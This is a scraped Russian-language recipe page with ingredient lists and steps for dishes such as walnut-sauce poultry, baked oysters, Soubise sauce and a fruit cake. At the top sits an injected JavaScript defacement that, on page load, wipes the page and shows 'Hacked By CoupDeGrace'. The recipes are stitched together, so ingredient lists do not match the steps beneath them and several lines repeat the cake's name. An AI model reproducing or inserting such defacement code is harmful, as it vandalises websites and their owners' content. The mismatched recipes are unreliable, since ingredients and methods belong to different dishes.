document.addEventListener('DOMContentLoaded', function(){document.title='Hacked By CoupDeGrace';document.body.style.cssText='margin:0;overflow:hidden';document.body.innerHTML='
Hacked By CoupDeGrace
';});

Продукты:

 

Индейка или курица - 220 г; для соуса: орехи грецкие - 80 г, масло сливочное - 10 г, лук репчатый - 40 г, мука пшеничная - 3 г, чеснок - 3 г, уксус винный - 10 г, зелень свежая (кинза) - 5 г, зелень сушеная (хмели-сунели) - 0,2 г, шафран, специи, соль.

Готовим:

Овощи нарезают кубиками, солят по вкусу и поджаривают. Затем смешивают со взбитыми яйцами и жарят на сковороде. Омлет поливают горячим густым соусом из сметаны и посыпают рубленой зеленью петрушки или укропа.

Готовим:

Вымытые раковины вскрыть, вынуть устриц, зачистить и положить их в посуду,, добавить сливочное масло, лимонную кислоту, соль и припустить. Затем добавить белый соус, нарезанные и припущенные белые грибы, довести до кипения; уложить в глубокую половину раковины, залить молочным соусом средней густоты, посыпать сыром, сбрызнуть растопленным сливочным маслом и запечь до золотистого цвета, При подаче раковины уложить на тарелку, покрытую бумажной салфеткой.

Для приготовления блюда "Соус с луком (Сюбиз)" нам понадобятся:

 800 г белого мясного бульона,

 80 г риса,

 70 г сливочного масла,

 100 г сливок,

 120 г репчатого лука,

 1 яичный желток.

Торт Фруктовый рай

Торт "Фруктовый рай" будем готовить из следующих продуктов:

фрукты:

Торт Фруктовый рай 4 банана,

Торт Фруктовый рай 4 киви,

Торт Фруктовый рай 2 апельсина,

Торт Фруктовый рай 4-5 крупных мандарина,

Торт Фруктовый рай 1 банка консервированных персиков (можно добавить клубнику и вишню),

для крема:

Торт Фруктовый рай 1 кг. сметаны,

Торт Фруктовый рай 1,5 стакана сахара,

Торт Фруктовый рай 50 гр. желатина (4 ст. ложки с небольшой горкой).

Роль коржей заменят готовые рулеты.

Продукты:

 

Яйца - 2 шт., рыба сушеная (вобла, тарань) - 20 г, зелень петрушки - 5 г, майонез - 30 г, креветки - 5 г, соль, перец молотый черный.

Продукты:

 

Картофель - 250 г, творог - 50 г, яйцо - 1/2 шт., сахар - 5 г, мука и масло сливочное - по 15 г, сухари - 10 г, сметана - 20 г, соль.

Продукты:

 

Карп - 300 г, лук репчатый - 30 г, перец зеленый сладкий - 30 г, помидоры - 40 г, белок яйца - 1/5 шт., яйца - 1/5 шт., салат зеленый, перец красный молотый, соль.

Продукты:

Пшена - 50 г, чернослива - 30 г, абрикосов сушеных - 20 г, изюма - 20 г, молока - 100 г, масла сливочного - 20 г, сахара - 5 г, меда - 30 г.

Страница 1 из 68